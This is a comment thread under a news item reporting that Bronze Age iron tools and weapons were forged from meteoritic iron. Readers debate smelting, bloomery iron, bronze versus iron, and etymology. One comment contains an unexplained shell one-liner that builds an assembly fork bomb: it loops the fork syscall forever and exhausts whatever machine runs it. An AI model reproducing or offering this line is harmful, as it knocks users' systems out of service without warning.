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Almost All Bronze Age Artifacts Were Made From Meteorite Iron (sciencealert.com)
dryriver shares a report from Science Alert: According to a new study, it's possible that all iron-based weapons and tools of the Bronze Age were forged using metal salvaged from meteorites. The finding has given experts a better insight into how these tools were created before humans worked out how to produce iron from its ore. While previous studies had found specific Bronze Age objects to be made from meteoric metal -- like one of the daggers buried with King Tutankhamun -- this latest research answers the question of just how widespread the practice was. Albert Jambon, from the National Centre for Scientific Research (CNRS) in France, studied museum artifacts from Egypt, Turkey, Syria, and China, analyzing them using an X-Ray Fluorescence Spectrometer to discover they all shared the same off-world origins. "The present results complementing high quality analyses from the literature suggest that most or all irons from the Bronze Age are derived from meteoritic iron," writes Jambon in his published paper. "The next step will be to determine where and when terrestrial iron smelting appeared for the first time."
Iron ore requires smelting at very high temperatures to extract the iron. Meteoric iron is in its metallic form already.
I think the point being made is not where iron comes from. The interesting thing is that humans had iron tools and weapons in the Bronze Age before we knew how to get it out of the ground. Apparently, it wasn't really clear how that happened. The Bronze Age is so named because we knew how to cast bronze, the Iron Age came after. So where did we get the iron? Meteorites.
Pretty cool.
I'm sorry, but your opinion seems to be wrong.
As someone else pointed out above the iron in meteorites is metallic. If you didn't have that you'd have to smelt iron ore. Which required higher temperatures than bronze.
Though oddly enough once you can smelt iron it's easier to get iron ore than it is to get copper and tin or arsenic which you need for bronze.
So once you can smelt iron it's actually easier to get hold of the ore so you can make weapons in volume. And iron plus carbon gives you steel which is harder than bronze.
I.e. if you're a militaristic society, mass produced iron weapons means it's well and truly smiting time for your neighbors. Steel weapons plus a bit of organisation means gives you the Roman army, which subjugated most of Western Europe.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
All artifacts are made from meteorite iron? Does that include clay pots? The write up is accurate, do a better job with the title.
The point of the article is that human evolution is really just one big alien experiment. In this case aliens were dropping chunks of metal on us, so we can use it to evolve our societies.
Though maybe I'm reading too much into the article.
People discovered how to work metal by finding "native" forms. Hunks of pure or nearly pure copper, silver and gold. Iron doesn't form these, you need to know how to smelt it. By the bronze age, they had learned to smelt copper and tin, but iron requires higher and more consistent heat than they had the ability to make. But, if you find native iron in the form of meteorites, you can skip that process and create tools.
New studies suggest that all the ancient weaponry actually came from loot boxes that the alien cult named Activision spread all over the inhabited world in order to extract revenue from planet Earth. Not content with microtransactions in the form of animal teeth and leather, it taught their subjects how to make shiny coins from metallic stones.
Just saying.
A World in a Grain of Sand / Heaven in a Wild Flower,
Infinity in the Palm of your Hand / And Eternity in an Hour.
You are very confused and not understanding the issue at all. Meteoric iron is elemental iron, already smelted as it were. Mined iron is ore, terrestrial deposits of oxidized iron, not from meteors that worked their way into the eartch.
This ore needs to be mined, then heated very hot (relative to making bronze) to extract the elemental iron from the ore to a usable elemental metal. So this finding explains how humans could have a limited quantity of iron weapons/tools before the discovery/invention of mining and smelting iron ore. The latter is what gave us the Iron Age.
Two very different processes, two very different technologies. Yes, it all ultimately came from the same place. So did every f-ing thing. Why do we bother to talk about anything?
I'm not saying it's Aliens... But....
It's Aliens.
Two very different processes, two very different technologies.
And two different energy budgets. That's the history of mankind: progress correlates with an ever increasing amount of available energy
And it's going on to the day.
No wonder the earth branch of Watto's Junk Shop Emporium went broke, seeing how little he seems to have sold. It was even a bigger loss than all the guys trying to stick him with worthless Republican Credits.
You can't make a knife out of "Fe"
Sure you can, just put "Kni" in front of it.
Depends on the iron. The earliest iron age weapon were inferior to bronze weapons, but were just much much cheaper as iron is significantly more abundant.
But meteoritic iron isn't exactly pig iron. It's mostly quite strong nickel alloys, stronger than iron or unhardened steel. Combined with its extreme rarity it would be the stuff of legends.
Live today, because you never know what tomorrow brings
Actually no, temp is not a problem, if that was all it took, then more vigorous work at bellows would do the job. The technique of getting workable iron from ore using primitive methods is just different than with say copper or tin. You can't just smelt and pour an ingot. If you melt the iron at any point then it saturates with readily available carbon and produces useless material, the trick is to reduce the iron without melting it, for that you need to keep the temperature steady and limited. From that you get a seemingly useless iron sponge that is riddled with slag, that slag needs to be worked out of the material until you get an actual solid piece of metal. In comparison copper is much simpler, you just fire the ore with enough heat and it reduces, melts and collects into solid pieces, could happen accidentally in a campfire even.
Bronze is a harder metal than pure iron. That means that it keeps a better edge and is less likely to bend. (Both written and archaeological shows that iron swords bending in battle was an actual problem - one of the Roman historians even wrote about how their enemies had to stop mid-battle and straighten their swords!)
The thinking is that the bronze age didn't end because iron was better for weapons, but the bronze age ended because tin and copper were relatively rare compared to iron and frequently needed to be traded long distance. When the bronze age saw the collapse of its trading networks, people turned to local resources, which meant iron.
It was only much later, when we developed better metallurgy, that we could consistently make iron alloys that were better than bronze.
So were these iron weapons more ceremonial? Prized because they are rare? Or indicative of regional trade issues?
On the contrary, budgets are very relevant to nature. All life has to maintain a nitrogen budget, for example. And while humans have had a severe effect on the carbon budget in the atmosphere, it existed long before humans did.
Yes, I've heard of it. It isn't relevant. The Earth is not a closed system (as it is constantly receiving massive amounts of energy from the Sun) .And as the OP said, "increasing amount of available energy". There is no Law of Conservation of Available Energy, particularly in a system that is not closed.
In the Bronze Age - the period before we had discovered how to smelt iron...
The Bronze Age is the period where nearly all metal tools were made of bronze -- which is the primary observable fact.
Claiming that this was entirely a "period before we had discovered how to smelt iron" is a conclusion that must be derived from actual data, not simply asserted.
There were iron artifacts being made during the Bronze Age. It could have been the case that iron smelting existed and was conducted on a small scale, but simply had not supplanted bronze. Without examining the actual evidence we would not know which is the case.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
People discovered how to work metal by finding "native" forms. Hunks of pure or nearly pure copper, silver and gold. Iron doesn't form these...
Or rather, it is quite rare that it does. This is called telluric iron. The only major deposit of this is in Greenland (and was used by the Inuit) but small deposits might exist elsewhere. Examining the artifacts would be needed to confirm that this was not from some unknown telluric iron source.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
Not exactly. If you smelt iron from ore or from iron-rich soil, the iron is what is left behind in the oven. In other words: you melt the ore from the iron. The iron you have left in the oven is very porous and brittle, and contains a huge amount of carbon (making it extra brittle). It therefore takes quite some work to convert this iron into any workable steel or iron.
Not exactly. The iron never melted in an Iron Age smelter. It forms a loose porous mass of reduced metal saturated with slag called a "bloom". This is taken out and hammered to from "wrought iron", which can then be shaped and perhaps carbonized in the a forge to make a harder surface.
Techniques to use melted iron - either directly as cast iron, or else by reducing it to eliminate the excess carbon - were developed much later. But it was easier to make smelters not quite hot enough to melt the iron anyway.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
No. Sidros means "iron" in Greek (and the name of an island), sideris means "star" in Latin. They are independently derived from Proto Indoeuropean (PIE) *sweid which means "to shine". Shiny metal, shiny star. That is the relationship.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
Jesus, have you never seen a falling meteor? The intense heat would have smelted the iron and nickel, iron isn't on Earth and oxidizes
The intense heat does melt the surface of the meteor, in fact in vaporizes some of it (which you see, in part, in the meteor trail).
But if you have seen a falling meteor you will have notice that this fiery part of the descent lasts just a few seconds at most. And then ordinary air cooling as it falls quickly cools the surface down to ambient. The intense heat does not have time to penetrate very far, so most of the meteor is extremely cold when it lands on Earth.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
So where did we get the iron? Meteorites.
Pretty cool.
Yes, pretty cool, but we've known about meteorite iron for quite some time. Long enough for it to be a thing in D&D. I think there are even some large meteors around that were still being "mined" for iron until fairly recently when they were instead protected. I think the take away with this study is that ALL bronze age iron came from meteorites. Previously, it seems that it was thought that iron smelting was known in the bronze age but not really used until it absolutely had to be due to disrupted trade routes because bronze was still the superior metal. Instead, it's looking like there was only bronze smelting until the trade routes for tin were disrupted, and then people developed iron smelting which is quote a deviation from how we understood the timeline earlier.